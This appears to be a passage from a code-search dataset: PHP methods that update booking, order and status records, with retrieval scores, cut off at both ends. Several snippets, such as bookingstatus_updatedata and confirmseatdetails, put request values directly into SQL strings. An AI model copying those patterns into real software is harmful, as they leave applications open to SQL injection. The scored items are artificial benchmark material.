strtotime(date('Y/m/d'));\n $date = strtotime(\"+7 day\", $date);\n $return_date = date('Y/m/d', $date);\n \n\n Rent::create([\n 'name' => $book->name,\n 'student_id' => $user,\n 'rent_date' => date('Y-m-d'),\n 'return_date' => $return_date\n ]);\n \n return redirect('/user/rented');\n }", "public function updateStatus(): void\n {\n $data = json_encode($this->getStatus(), JSON_PRETTY_PRINT);\n File::put(public_path(self::STATUS_FILE_NAME), $data);\n }", "public function postUpdateStatus(){\n\t\t$expense_id = Input::get('expense_id');\n\t\t$status = Input::get('status');\n\t\t$expense = Expense::find($expense_id);\n\t\t$expense->status = $status;\n\t\t$expense->save();\n\t}", "function bookingstatus_updatedata( $tbl_bookingstatus, \n$id, $kodestatus, $name, $description, $notifikasiemail ){\n\n\t$sql = mysql_query(\"\n\tUPDATE $tbl_bookingstatus SET\n\t \n\t\tkodestatus ='$kodestatus',\n\t\tname = '$name',\n\t\tdescription = '$description',\n\t\tnotifikasiemail = '$notifikasiemail'\n\n\tWHERE\n\t\tid = '$id'\n\t\");\n\treturn $sql;\n}", "private function _handleMagentoStatusUpdate(array $statusData, $status)\n { \n $comment = $this->_getHistoryComment($statusData);\n \n $state = Mage::getResourceModel('sales/order_status_collection')\n ->joinStates()->addStatusFilter($status)\n ->getFirstItem()\n ->getData('state');\n \n $this->_getOrder()->setStatus($status);\n $this->_getOrder()->setState(\n $state, \n false,\n $comment, \n false\n );\n \n $this->_getOrder()->addStatusHistoryComment($this->_getHistoryComment($statusData));\n \n $this->_getOrder()->save();\n }", "public function status()\t{\n\t\t\t$this->veiculo->update($this->input->post('id'), array('veiculo_status' => $this->input->post('status')));\n\t\t}", "private function updateTask(int $status, Model $job)\n {\n $job->status = $status;\n $job->save();\n }", "function updatestatus() {\n global $_lib;\n\n $dataH = array();\n $dataH['ID'] = $this->transaction->ID;\n $dataH['RemittanceSequence'] = $this->transaction->RemittanceSequence;\n $dataH['RemittanceDaySequence'] = $this->transaction->RemittanceDaySequence;\n $dataH['RemittanceSendtDateTime'] = $_lib['sess']->get_session('Datetime');\n $dataH['RemittanceSendtPersonID'] = $_lib['sess']->get_person('PersonID');\n $dataH['RemittanceStatus'] = 'sent';\n \n #Disse mŒ fjernes nŒr vi har en godkjenningsprosess\n $dataH['RemittanceApprovedDateTime'] = $_lib['sess']->get_session('Datetime');\n $dataH['RemittanceApprovedPersonID'] = $_lib['sess']->get_person('PersonID');\n\n $_lib['storage']->store_record(array('data' => $dataH, 'table' => 'invoicein', 'debug' => false));\n }", "private function setLock($status) {\n $this->status->is_locked = $status;\n $this->status->save();\n }", "function updateStatus()\n\t{\n\t\t$this->setPost();\n\n\t\t$postData = $_POST;\n\n\t\tif ($postData->status_id == 1) {\n\t\t\t$updateData = array('status_id' => 2);\n\t\t} else {\n\t\t\t$updateData = array('status_id' => 1);\n\t\t}\n\n\t\t$where = array('id' => $postData->id);\n\n\t\t$result = $this->base_model->updateCommon($this->primaryTable, $updateData, $where);\n\n\t\t$response = array('status' => true, 'message' => 'Branch status updated successfully.');\n\n\t\techo json_encode($response);\n\t}", "public function updateStatus($params)\r\n {\r\n }", "public function update(Request $request, $id)\n {\n \n //Update the status of book from accepted to received or cancelled\n $bookreq=BooksRequest::find($id);\n $user=User::find($bookreq->user_id);\n \n if($request->input('status')=='Received'){\n $due=Carbon::now()->addDays(7)->toDateString();\n $bookreq->status=$request->input('status');\n $bookreq->due_date=$due;\n $bookreq->save();\n if(BookLogs::where('book_id','=',$bookreq->book_id)->exists()){\n $booklog=BookLogs::where('book_id','=',$bookreq->book_id)->firstorfail();\n $log=BookLogs::find($booklog->id);\n $log->increment('Receives','1');\n $log->save();\n \n }else{\n $booklog=new BookLogs;\n $booklog->book_id=$bookreq->book_id;\n $booklog->Receives=1;\n $booklog->save();\n }\n $user->notify(new NotifyUser(BooksRequest::where('id','=',$id)->firstorfail()));\n return redirect('BookAccepts')->with('success','Book '.$bookreq->book->title.' has been Received');\n }else{\n $book=Books::find($bookreq->book->id);\n $book->increment('supply','1');\n $bookreq->delete();\n return redirect('BookAccepts')->with('error','Book '.$bookreq->book->title.' has been Cancelled');\n }\n }", "public function setStatus($status);", "public function setStatus($status);", "public function updateStatus($statusPag, $anunId){\n\n\n $this->setAnuncioId($anunId);\n $this->setAnuncioStatus($statusPag);\n\n\t//Realiza update do campo anuncio_pacote na tabela anuncios caso ocorra alguma alteração de status que não faça parte de alteraçoes gratuitas.\n\t//O pacote está sendo usado para auxiliar no controle de permissão.\n\tif($statusPag != '11' && $statusPag != '12' && $statusPag != '8' && $statusPag != '9'){\n\n\t\t$sql = \"UPDATE Anuncio SET anuncio_status = '%s', anuncio_pacote = 'Premium' WHERE anuncio_id = '%s'\";\n\n\t} else {\n\n \t$sql = \"UPDATE Anuncio SET anuncio_status = '%s' WHERE anuncio_id = '%s'\";\n\t}\n\n $sql = sprintf($sql, $this->getAnuncioStatus(), $this->getAnuncioId());\n\n\n\n if($this->runQuery($sql)){\n\n } else {\n echo \"Não foi possível atualizar o status.\";\n }\n\n }", "public function updateStatus($status, $idApuracao)\n\t{\n\t\t$sql = new Conexao;\n\n\t\t//Status\n\t\t//1 = criada esperando para continuar\n\t\t//2 = gerada ocorrencia, foi para confirmacao\n\t\t//3 = virou ocorrencia\n\t\t//4 = excluida\n\n\t\t$sql->query(\"\n\t\t\tUPDATE tb_criarapuracao \n\t\t\tSET status = :status\n\t\t\tWHERE idCriarApuracao = :idCriarApuracao\n\t\t\", [\n\t\t\t\":status\" => $status,\n\t\t\t\":idCriarApuracao\" => $idApuracao\n\t\t]);\n\t}", "public function update(Request $request, Transaction $transaction)\n {\n\n abort_unless(Gate::allows('update',$transaction), 403);\n \n $request->validate([\n\n //transaction table\n 'first_name' => 'required|min:3',\n 'last_name' => 'required|min:3', \n 'email'=> 'email:rfc,dns',\n 'contact_no' => 'required',\n 'address' => 'required',\n 'country' => 'required',\n\n //bookings table\n 'checkin' => 'required',\n 'checkout' => 'required',\n //'room_type_id' => 'required',\n //'no_of_rooms' => 'required',\n //'adult' => 'required',\n //'child' => 'required',\n ]);\n\n $room_type_ids = $request['room_type_id'];\n\n for($i=0;$i<count($room_type_ids);$i++) \n {\n $flagroomAvailable = $this->check_availability($request['checkin'],$request['checkout'],$room_type_ids[$i],$request['no_of_rooms'.$room_type_ids[$i]]);\n //echo \"Room Id \".$room_type_ids[$i];\n //echo \"Room Available \".$flagroomAvailable;\n if(!$flagroomAvailable)\n {\n break;\n }\n\n }\n\n if($flagroomAvailable)\n {\n $transaction->update([\n 'first_name' => $request['first_name'],\n 'last_name' => $request['last_name'], \n 'email' => $request['email'],\n 'contact_no' => $request['contact_no'],\n 'address' => $request['address'],\n 'country' => $request['country'],\n 'payment_method' => $request['payment_method']\n ]);\n\n $deletedRows = Booking::where('transaction_id', $transaction->transaction_id)->delete();\n print_r($deletedRows);\n\n for($i=0;$i<count($room_type_ids);$i++) \n {\n $booking = new Booking([\n 'transaction_id' => $transaction->transaction_id, \n 'from_date' => $request['checkin'],\n 'to_date' => $request['checkout'],\n 'room_type_id' => $room_type_ids[$i],\n 'no_of_rooms' => $request['no_of_rooms'.$room_type_ids[$i]],\n 'adult' => $request['adult'.$room_type_ids[$i]],\n 'child' => $request['child'.$room_type_ids[$i]],\n 'status' => \"confirmed\"\n ]);\n $booking->save();\n\n }\n\n\n\n return $this->booking_list()->with(\n [\n 'message_success' => \"Booking of <b>\" . $transaction->first_name . \"</b> is updated.\"\n ]\n );\n }\n else\n {\n return $this->booking_list()->with(\n [\n 'message_success' => \"Rooms NOT available.\"\n ]\n );\n }\n }", "public function doUpdateStatus()\n\t{\n\n\t\t\n\t\t$rules = array(\n\t\t\t'row_id' => 'required', \n\t\t\t'status' => 'required'\n\t\t);\n\t\t\n\t\t// run the validation rules \n\t\t$validator = Validator::make(Input::all(), $rules);\n\n\t\tif ($validator->fails()) {\n\t\t\t\n\t\t\treturn Redirect::to('order')\n\t\t\t\t->withErrors($validator);\n\t\t\t\n\t\t}\n\t\t\n\t\ttry {\n\t\t \n\t\t\t$object = Object::find(Input::get('row_id'));\n\t\t\t$object->fk_status = Input::get('status');\n\t\t\t$object->save();\n\t\t\t\n $logDetails = json_encode(['row_id' => Input::get('row_id'),\n\t\t\t\t\t\t\t\t\t 'status' => Input::get('status')]);\n\t\t\t\t\t\n\t\t\tActivity::log([\n\t\t\t\t'contentId' => Auth::User()->id,\n\t\t\t\t'contentType' => 'admin_pickup_status',\n\t\t\t\t'action' => 'Updated',\n\t\t\t\t'description' => 'Pickup Status Updated',\n\t\t\t\t'details' => $logDetails,\n\t\t\t\t'updated' => true,\n\t\t\t]);\n\t\t\t\n\t\t\t Session::flash('message', 'Order #' . Input::get('row_id') . ' updated');\n\t\t\treturn Redirect::to('order');\n\t\t}\n\t\tcatch (Exception $e)\n\t\t{\n\t\t \n\t\t\tSession::flash('error', $e->getMessage() );\n\t\t\treturn Redirect::to('order');\n\t\t}\n\t\t\n\t\t\n\t}", "public function updateStatus()\n {\n $this->Invoice->updateInvoiceStatus($this->input->post('id'));\n }", "private function updateSpoolStatus ()\n {\n\n $oAppMessage = (new AppMessage())->retrieveByPK ($this->spool_id);\n if ( is_array ($this->fileData['attachments']) )\n {\n $attachment = implode (\",\", $this->fileData['attachments']);\n $oAppMessage->setappMsgAttach ($attachment);\n }\n $oAppMessage->setappMsgstatus ($this->status);\n $oAppMessage->setappMsgsenddate (date ('Y-m-d H:i:s'));\n $oAppMessage->save ();\n }", "public function status($id, $status, $sistema)\n {\n //\n if(!(Gate::denies('read_equipamento'))){\n\n $equipamento = Equipamento::find($id); \n \n //LOG ----------------------------------------------------------------------------------------\n $this->log(\"equipamento.index.status=\".$status);\n //--------------------------------------------------------------------------------------------\n\n $equipamento->status = $status; \n\n //LOG ----------------------------------------------------------------------------------------\n $this->log(\"ticket.update.id=\".$id);\n //--------------------------------------------------------------------------------------------\n\n if($equipamento->save()){\n return redirect('equipamentos/dashboard/'.$sistema)->with('success', 'Status atualizado com sucesso!');\n }else{\n return redirect('equipamentos/dashboard/'.$sistema)->with('danger', 'Houve um problema, tente novamente.');\n }\n }\n\n\n else{\n return redirect('erro')->with('permission_error', '403');\n }\n }", "public function update(Tool $tool, Booking $booking, Request $request)\n {\n $this->validate($request, [\n 'start' => 'required|date',\n 'end' => 'required|date',\n ]);\n\n $start = new Carbon($request->start);\n $end = new Carbon($request->end);\n\n $response = $this->bookingManager->update($tool, $booking, $start, $end);\n\n if (is_string($response)) {\n // response is some sort of error\n return response()->json($response, IlluminateResponse::HTTP_UNPROCESSABLE_ENTITY);\n } else {\n // response is the new booking object\n return response()->json($response, IlluminateResponse::HTTP_OK);\n }\n }", "public function update(Request $request, $id)\n {\n $this->validate($request,[\n 'status'=>\"required\",\n ]);\n\n $supplier=SupplierDetail::find($id);\n $supplier->status=$request->status;\n $supplier->save();\n return redirect()->back();\n }", "public function updateStatus($status)\n {\n if (!$this->isLoaded() || empty($status))\n {\n return false;\n }\n\n $this->Status = $this->dao->escape($status);\n return $this->update();\n }", "public function updateStatus(Request $request){\n $id = $request->id;\n $name = $request->name;\n\n //check if status id exists\n $status = Status::where( 'id' , $id )->first(); \n if (!isset($status)) {\n return response()->json(['data' => '' , 'message' => 'Status Not Found'], 400);\n } \n\n if(isset($name) && $name != NULL){\n $status->name = $name;\n }\n\n $status->save(); \n return response()->json(['data' => '' , 'message' => 'Status Updated Successfully'], 200); \n }", "public function update(BookingRequest $request, $id)\n {\n $this->authorize('update', Booking::class);\n\n $booking = Booking::find($id);\n\n $data = $request->validated();\n\n $booking->update($data);\n\n return $this->respond(\n 'Booking Updated Successfully',\n fractal(\n Booking::where('id' , $booking->id)->first(),\n new BookingTransformer()\n )\n );\n }", "public function setStatus(Status $status);", "function booking_status_paid($id)\n {\n $this->db->select('booking_total,booking_deposit,booking_type');\n $this->db->where('booking_id', $id);\n $bk = $this->db->get('pt_bookings')->result();\n $btotal = $bk[0]->booking_total;\n $bdep = $bk[0]->booking_deposit;\n $btype = $bk[0]->booking_type;\n $data1 = array('booking_status' => 'paid', 'booking_amount_paid' => $bdep, 'booking_remaining' => $btotal - $bdep, 'booking_payment_date' => time());\n $this->db->where('booking_id', $id);\n $this->db->update('pt_bookings', $data1);\n if ($btype == \"hotels\") {\n $data2 = array('booked_booking_status' => 'paid');\n $this->db->where('booked_booking_id', $id);\n $this->db->update('pt_booked_rooms', $data2);\n } elseif ($btype == \"cruises\") {\n $data2 = array('booked_booking_status' => 'paid');\n $this->db->where('booked_booking_id', $id);\n $this->db->update('pt_booked_cruise_rooms', $data2);\n } elseif ($btype == \"cars\") {\n $data3 = array('booked_booking_status' => 'paid');\n $this->db->where('booked_booking_id', $id);\n $this->db->update('pt_booked_cars', $data3);\n }\n }", "function wpbs_update_booking_meta($booking_id, $meta_key, $meta_value, $prev_value = '')\n{\n\n return wp_booking_system()->db['bookingmeta']->update($booking_id, $meta_key, $meta_value, $prev_value);\n\n}", "public function UpdateStatus($status = '')\n\t{\n\t\tif (!$id = (int)$status)\n\t\t{\tif ($result = $this->db->Query('SELECT * FROM productstatus WHERE name = \"'. $this->SQLSafe($status) .'\"'))\n\t\t\t{\tif ($row = $this->db->FetchArray($result))\n\t\t\t\t{\t$id = $row['id'];\t\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\tif ($id)\n\t\t{\t$this->db->Query('UPDATE coursetickets SET tstatus = '. (int)$id .' WHERE tid = '. (int)$this->id);\n\t\t\treturn true;\n\t\t}\n\t}", "function received($data){\n\t\tif($this->checkNextReserve($data['book_no']) > 0)\n\t\t{\n\t\t\t$parameter = array('status' => 'reserved');\n\t\t\t$status_checker = 'reserved';\n\t\t}\t\n\n\t\telse\n\t\t{\n\t\t\t$parameter = array('status' => 'available'); // value to be updated; status to available\n\t\t\t$status_checker = 'available';\n\t\t}\t\t\n\n\t\t/* end edit */\n\t\t$where = \"book_no = '{$data['book_no']}'\";\t // where clause\n\t\t$this->db->update('book', $parameter, $where); // 1st parameter : table name, 2nd : values to change, 3d where clause\n\t\treturn $status_checker; //added by Carl Adrian P. Castueras\n\t}", "private function manageStatus()\n {\n $this->updateStatus();\n $this->checkStatus();\n }", "public function update(Request $request, OrderStatus $orderStatus)\n {\n //\n }", "public function updateTaskStatus($taskId, $status)\n {\n $task = Tomtask::find()->where(['id' => $taskId])->one();\n $task->completed = $status;\n $task->save();\n }", "public function update(Request $request, $id)\n {\n $type_book = type_books::find($id); // :)\n $name = $request->name;\n $anhien = $request->status;\n $url = Str::slug($name,\"-\");\n\n $type_book->name = $name; \n $type_book->AnHien = $anhien;\n $type_book->url_name = $url;\n $type_book ->save(); \n return redirect('/type-book');\n }", "public static function updateStatus($id, $setStatus = NULL)\n {\n $model = static::findHashed($id);\n\n if(is_null($setStatus))\n {\n $status = ($model->status ? 0 : 1);\n }\n else\n {\n $status = (int) $setStatus;\n }\n\n $model->status = $status;\n\n $model->save();\n }", "function change_status($vacancyId, $newStatus)\n\t{\n\t\treturn $this->_query_reader->run('update_vacancy_status', array('vacancy_id'=>$vacancyId, 'status'=>$newStatus, 'updated_by'=>$this->native_session->get('__user_id')));\n\t}", "public function update(Request $request, $id)\n {\n $booking=Booking::findOrFail($id);\n $booking->check_in=$request->check_in;\n $booking->pelanggan_id=$request->pelanggan_id;\n $booking->kamar_id=$request->kamar_id;\n $booking->check_out=$request->check_out;\n $booking->save();\n return redirect()->route('booking.index')->with(['message'=>'Data Berhasil Di Update']);\n }", "function twe_set_banner_status($banners_id, $status) {\n global $db;\n if ($status == '1') {\n $db->Execute(\"update \" . TABLE_BANNERS . \" set status = '1', date_status_change = now(), date_scheduled = NULL where banners_id = '\" . $banners_id . \"'\");\n } elseif ($status == '0') {\n $db->Execute(\"update \" . TABLE_BANNERS . \" set status = '0', date_status_change = now() where banners_id = '\" . $banners_id . \"'\");\n } else {\n return -1;\n }\n }", "public function update(Request $request, Book $book)\n {\n\n\n Book::where('id', $book->id)\n ->update([\n \n 'judul' => $request->judul,\n 'penulis' => $request->penulis,\n 'penerbit' => $request->penerbit,\n 'tahun' => $request->tahun,\n 'sinopsis' => $request->sinopsis,\n\n ]);\n return redirect('/books')->with('status', 'Data Buku Berhasil Diubah!');\n }", "function confirmseatdetails()\n {\n \n $b_id=$this->input->post('bid');\n $qry=\"update booking_tbl set Status='Booked' where Booking_id='$b_id'\";\n $qry=$this->db->query($qry);\n \n\n }", "public function setStatus($status)\n {\n \n $this->status = $status;\n }", "public function update_status( $new_status, $additional_note = '', $deprecated = '' ) {\n $additional_note = !!$deprecated ? $deprecated : $additional_note;\n\n if ( !$this->id ) {\n return;\n }\n\n // Standardise status names.\n $new_status = 'bk-' === substr( $new_status, 0, 3 ) ? substr( $new_status, 3 ) : $new_status;\n $old_status = $this->get_status();\n\n $edited_by = '';\n\n if ( $new_status !== $old_status && ( in_array( $new_status, array_keys( yith_wcbk_get_booking_statuses( true ) ) ) ) ) {\n\n switch ( $new_status ) {\n case 'cancelled_by_user' :\n if ( !$this->can_be( 'cancelled_by_user' ) )\n return;\n $this->set( 'status', 'cancelled' );\n $edited_by = ' ' . __( 'by customer', 'yith-booking-for-woocommerce' );\n break;\n default:\n if ( !$this->can_be( $new_status ) )\n return;\n $this->set( 'status', $new_status );\n break;\n }\n\n $current_status = $new_status !== 'cancelled_by_user' ? $new_status : 'cancelled';\n $booking_note = sprintf( __( 'Booking status updated to %s.', 'yith-booking-for-woocommerce' ), yith_wcbk_get_booking_status_name( $current_status ) . $edited_by );\n $booking_note .= !!$additional_note ? ' ' . $additional_note : '';\n $this->add_note( 'status_changed', $booking_note );\n\n if ( $this->get_product_id() ) {\n $booked_statuses = yith_wcbk_get_booked_statuses();\n $old_is_booked = in_array( 'bk-' . $old_status, $booked_statuses );\n $new_is_booked = in_array( 'bk-' . $new_status, $booked_statuses );\n // regenerate date only if \"booked\" status changes\n if ( $old_is_booked xor $new_is_booked ) {\n YITH_WCBK_Cache()->delete_product_data( $this->get_product_id() );\n YITH_WCBK()->background_processes->schedule_product_data_update( $this->get_product_id() );\n }\n }\n\n // Status was changed\n do_action( 'yith_wcbk_booking_status_' . $new_status, $this->id );\n do_action( 'yith_wcbk_booking_status_' . $old_status . '_to_' . $new_status, $this->id );\n do_action( 'yith_wcbk_booking_status_changed', $this->id, $old_status, $new_status );\n }\n }", "public function update(Request $request, $id)\n {\n //\n $direct_booking = DirectBooking::find($id);\n if($direct_booking) {\n $updatedBooking = $direct_booking->update($request->all());\n $getUpdatedBooking = DirectBooking::find($id);\n $response = [\n 'success' => true,\n 'message' => 'Booking successfully updated!!',\n 'data' => $getUpdatedBooking,\n ];\n return response()->json($response, 200);\n } else {\n return response()->json(\n [\n 'success'=> false,\n 'message' => 'Booking not updated',\n ],\n 500);\n \n \n }\n }", "public function status($uid, $status) {\n\n $image = $this->getItemImageModel()->where('uuid', $uid)->first();\n if (empty($image)) {\n return redirect()->back()->with('error_message', 'resources not found');\n }\n if ($status == 'active') {\n $image->archive = 0;\n } elseif ($status == 'block') {\n $image->archive = 1;\n } elseif ($status == 'default') {\n $this->getItemImageModel()->where('item_id', $image->item->id)->update(['is_default' => 0]);\n $image->is_default = 1;\n }\n if ($image->save()) {\n return redirect()->back()->with('success_message', 'Image status has been changed');\n }\n }", "public function update(Request $request, $id)\n {\n\n $status = Status::find($id);\n $status->status = $request->status;\n $status->save();\n }", "public function update(Request $request)\n {\n if(is_array($request->id_booking)){\n for($i=0;$i<sizeof($request->id_booking);$i++){\n self::updateBooking($request->id_booking[$i],$request->user_id[$i],$request->house[$i],$request->room[$i],$request->date_from[$i],$request->date_to[$i],$request->status[$i],$request->mode[$i],$request->note[$i]);\n }\n }\n else{\n self::updateBooking($request->id_booking,$request->user_id,$request->house,$request->room,$request->date_from,$request->date_to,$request->status,$request->mode,$request->note);\n }\n return redirect(\"/booking\");\n }", "public function update(Request $request, book $book)\n {\n \n }", "public function update($bid)\n {\n DB::beginTransaction();\n try {\n $bid['status'] = ((array_key_exists('status', $bid) && $bid['status'] == 'on') ? \\Config::get('constants.ACTIVE_STATUS') : \\Config::get('constants.INACTIVE_STATUS'));\n $this->bids->update($bid, $bid['id']);\n\n DB::commit();\n\n } catch (DBTransactionException $e) {\n DB::rollback();\n throw new DBTransactionException();\n }\n\n }", "public function changeStatus(Request $request)\n\t{\n\t\t$id = $request->get('inventory_id');\n $status_id = $request->get('status_id');\n\n $inventory = Inventory::findOrFail($id);\n $inventory->update([\n 'status_id' => $status_id,\n 'updated_at' => Carbon::now(),\n ]);\n\n Session::flash('flash_message', 'Inventory status has been updated.');\n return redirect()->action('Admin\\InventoryController@show', ['id' => $id]);\n\t}", "public function changestatus(Request $request)\n {\n\n try {\n\n\n $log = LogStatus::whereId($request->logid)->first();\n\n $booking = Booking::find($request->id);\n\n $booking->current_status = $request->logid;\n $booking->tracking_number = $request->tracking_num;\n $booking->booking_instruction = $request->booking_instruction;\n $booking->service_id = $request->service;\n\n\n\n $booking->save();\n $booking->load('addressessender', 'addressesreceiver', 'logstatus');\n\n sendnotification($booking);\n\n\n $newlog = new BookingStatusLog();\n $newlog->status = $log->status;\n\n $booking_receiver = Booking::with('addressesreceiver')->whereId($request->id)->first();\n \n send_sms_status($request->tracking_num,$request->logid,$booking_receiver->addressesreceiver->name.' '.$booking_receiver->addressesreceiver->lastname,$booking_receiver->addressesreceiver->phonenumber);\n\n $booking->logs()->save($newlog);\n $arr = array(\"status\" => 200, \"msg\" => 'success');\n } catch (\\Illuminate\\Database\\QueryException $ex) {\n\n $msg = $ex->getMessage();\n if (isset($ex->errorInfo[2])) {\n $msg = $ex->errorInfo[2];\n }\n\n $arr = array(\"status\" => 400, \"msg\" => $msg, \"result\" => array());\n } catch (Exception $ex) {\n\n $msg = $ex->getMessage();\n if (isset($ex->errorInfo[2])) {\n $msg = $ex->errorInfo[2];\n }\n $arr = array(\"status\" => 400, \"msg\" => $msg, \"result\" => array());\n }\n return \\Response::json($arr);\n }", "public function update(Request $request, StatusOrder $statusOrder)\n {\n DB::beginTransaction();\n try {\n $statusOrder->order_id = $request->order_id;\n $statusOrder->process_order_id = $request->process_order_id;\n $statusOrder->update();\n\n// DB::table('user_status_orders')\n// ->join('status_orders','user_status_orders.status_order_id','=','status_orders.id')\n// ->where('status_order_id',$statusOrder->id)\n// ->update(['user_id' => Auth::user()->id]);\n\n $user_status_order = UserStatusOrder::find($statusOrder->id);\n $user_status_order->user_id = Auth::user()->id;\n $user_status_order->update();\n\n// step 2 if all good commit\n DB::commit();\n } catch (\\Exception $exception) {\n// step 3 if some error rollback\n DB::rollBack();\n }\n return redirect()->route('home');\n }", "public function admin_changestatus($id, $status) {\n $this->checkadmin();\n $this->request->data['Shippingrate']['sid'] = $id;\n $this->request->data['Shippingrate']['status'] = $status;\n $this->Shippingrate->save($this->request->data);\n $this->Session->setFlash('<div class=\"success msg\">' . __('Status updated successfully') . '.</div>', '');\n $this->redirect(array('action' => 'index'));\n }", "public function update(BookingRequest $request, $id)\n {\n return $this->bookingRepository->update($request->all(), $id);\n }", "public function update_status(Request $request, $id)\n {\n $status_options = [\n 'pending',\n 'in review',\n 'processing',\n 'completed',\n 'cancelled',\n 'refound',\n 'failed',\n ];\n if($request->has('status') && in_array($request->get('status'), $status_options)){\n $this->model->find($id)->update(['status' => $request->get('status')]);\n return redirect()->back()->with('success', 'Order status has been updated to <strong class=\"text-uppercase\">'.$request->get('status').'</strong>!');\n }\n }", "public function update(Request $request,PropertyStatus $propertyStatus)\n {\n $attribute = $request->validate([\n 'property_status'=>'required'\n ]);\n\n $attribute['updated_by'] = auth()->user()->name;;\n \n $propertyStatus->update($attribute); \n\n Session::flash('success',\"Registro actualizado satisfactoriamente\");\n\n return redirect()->route('property_status.index');\n }", "public function updateTimesheetStatus(Request $request){\n\t\t$timesheetid = $request->id;\n\t\t$status = $request->status;\n\t\t$timesheet = \\App\\Models\\Timesheet::where('id', $timesheetid)->first();\n\t\t$user = User::where('id', $timesheet->user_id)->first();\n\n\t\tMail::to($user->email)->send(new TimeSheetApproved($user, $status));\n\n\t\t$timesheet->client_approved = $status;\n\t\t$timesheet->save();\n\n\t\treturn response()->json(['status'=>true,'message'=>'status updated successfully'], 200);\n\t}" ]
[ "0.7257188", "0.7105329", "0.6741349", "0.66838205", "0.6536241", "0.64789134", "0.64789134", "0.64789134", "0.64789134", "0.64789134", "0.6471881", "0.6418294", "0.64011276", "0.6349553", "0.6270537", "0.62569827", "0.6220129", "0.620196", "0.6182128", "0.616446", "0.6124276", "0.60378027", "0.5979831", "0.59659", "0.59598106", "0.594379", "0.59325874", "0.59174794", "0.5904694", "0.58889633", "0.58812433", "0.5880162", "0.5875141", "0.58561844", "0.58555305", "0.584788", "0.5844877", "0.582637", "0.5825388", "0.58204895", "0.58131623", "0.58073413", "0.5789017", "0.57879645", "0.57875466", "0.57741946", "0.57651013", "0.5756006", "0.5743855", "0.5730866", "0.57291293", "0.56958777", "0.56945", "0.5688578", "0.5684872", "0.5682801", "0.5682801", "0.5662652", "0.56578165", "0.5656103", "0.5641516", "0.5639986", "0.56343675", "0.56327397", "0.5626857", "0.5614623", "0.5608253", "0.560786", "0.56072533", "0.5603653", "0.56020355", "0.5599076", "0.5596797", "0.55955225", "0.5594669", "0.55943036", "0.55779564", "0.5574815", "0.5574474", "0.55688924", "0.55685645", "0.5565284", "0.5560063", "0.5546912", "0.5546079", "0.55460656", "0.55436337", "0.554209", "0.5536434", "0.55355126", "0.55339956", "0.5526803", "0.55149764", "0.55127394", "0.5508709", "0.5507571", "0.5507293", "0.55071324", "0.5505707", "0.55050886" ]
0.57231677
51
Remove the specified booking status from the storage.
public function destroy($id) { try { $bookingStatus = BookingStatus::findOrFail($id); $bookingStatus->delete(); return redirect()->route('booking_status.booking_status.index') ->with('success_message', 'Booking Status was successfully deleted!'); } catch (Exception $exception) { return back()->withInput() ->withErrors(['unexpected_error' => 'Unexpected error occurred while trying to process your request!']); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function attendance_remove_status($status, $context = null, $cm = null) {\n global $DB;\n if (empty($context)) {\n $context = context_system::instance();\n }\n $DB->set_field('attendance_statuses', 'deleted', 1, array('id' => $status->id));\n $event = \\mod_attendance\\event\\status_removed::create(array(\n 'objectid' => $status->id,\n 'context' => $context,\n 'other' => array(\n 'acronym' => $status->acronym,\n 'description' => $status->description\n )));\n if (!empty($cm)) {\n $event->add_record_snapshot('course_modules', $cm);\n }\n $event->add_record_snapshot('attendance_statuses', $status);\n $event->trigger();\n}", "public function destroy(status $status)\n {\n //\n }", "public function deleteStatus()\n {\n $order_status = new OrderState((int)ConfPPM::getConf('status_paysto'));\n if (Validate::isLoadedObject($order_status)) {\n $order_status->delete();\n }\n }", "public function destroy(Booking $booking)\n {\n //\n }", "public function destroy(Booking $booking)\n {\n //\n }", "public function destroy(Booking $booking)\n {\n //\n }", "function wpbs_delete_booking($booking_id)\n{\n\n return wp_booking_system()->db['bookings']->delete($booking_id);\n\n}", "public function destroy(Status $status)\n {\n $this->authorize('delete', $status);\n $status->delete();\n }", "public function remove_status( $order, $status ) {\n\n\t\treturn delete_post_meta( SV_WC_Order_Compatibility::get_prop( $order, 'id' ), '_wc_avatax_status', $status );\n\t}", "public function removeEvent($event, $status)\n {\n # get the Calendar Has Event record\n $calendar_has_event = CalendarHasEvent::getByIdsStatus($this->id, $event->id, $status);\n\n # check if this is where the event was originally created\n if (\n $calendar_has_event->source == 'create event form'\n || $calendar_has_event->source == 'create event api'\n || $calendar_has_event->source == 'create event api v2'\n ) {\n # delete the event from the entire system\n $event->delete();\n } else {\n # delete the calendar has event record\n $calendar_has_event->delete();\n }\n }", "public function unsetStatus(): void\n {\n $this->status = [];\n }", "public function delete_booking_event( $booking ) {\n $sync_result = false;\n if ( $this->is_calendar_sync_enabled() ) {\n $booking = yith_get_booking( $booking );\n if ( $booking && $booking->is_valid() ) {\n $booking_id = $booking->get_id();\n $calendar_id = $this->get_calendar_id();\n $event_id = $this->create_booking_event_id( $booking_id );\n\n $uri = 'https://www.googleapis.com/calendar/v3/calendars/' . $calendar_id . '/events';\n $event_uri = $uri . '/' . $event_id;\n\n $params = array(\n 'method' => 'DELETE',\n 'sslverify' => false,\n 'timeout' => 60,\n 'headers' => array(\n 'Content-Type' => 'application/json',\n 'Authorization' => 'Bearer ' . $this->get_access_token(),\n ),\n );\n\n $response = wp_remote_post( $event_uri, $params );\n if ( !is_wp_error( $response ) && empty( $response[ 'body' ] ) ) {\n $sync_result = 'deleted';\n $this->debug( 'Booking event deleted success', compact( 'booking_id', 'sync_result' ) );\n } else {\n $sync_result = false;\n $this->error( \"Error while deleting Booking #{$booking_id}: \", $response );\n }\n }\n }\n return $sync_result;\n }", "public function destroy($id, $status)\n {\n //\n $set = Events::find($id);\n if ($status == 'aktifkan') {\n $set->activated = 1;\n } else {\n $set->activated = 0;\n }\n $set->updated_by = Auth::user()->id;\n $set->save();\n\n \\LogActivities::insLogActivities('log destroy successfully.');\n\n return redirect()->route('events.index')->with('message', 'Berhasil mengubah status events.');\n }", "public function destroy(Status $status)\n {\n $this->authorize('delete', $status);\n\n $status->delete();\n\n return new StatusResource($status);\n\n }", "public function destroy(Status $status)\n {\n $status->delete();\n return redirect()->route('statuses.index')->with('status_success', 'Status was deleted succesfully');\n }", "public function status_deletion_check($host_obj, $status)\n {\n if ($host_obj->order_status == $status->id)\n throw new Phpr_ApplicationException('This status cannot be deleted because it is used in the Cardsave direct payment method.');\n }", "public function destroy(Request $request)\n {\n $req =$request['0'];\n // print_r($req);exit();\n\n // $data 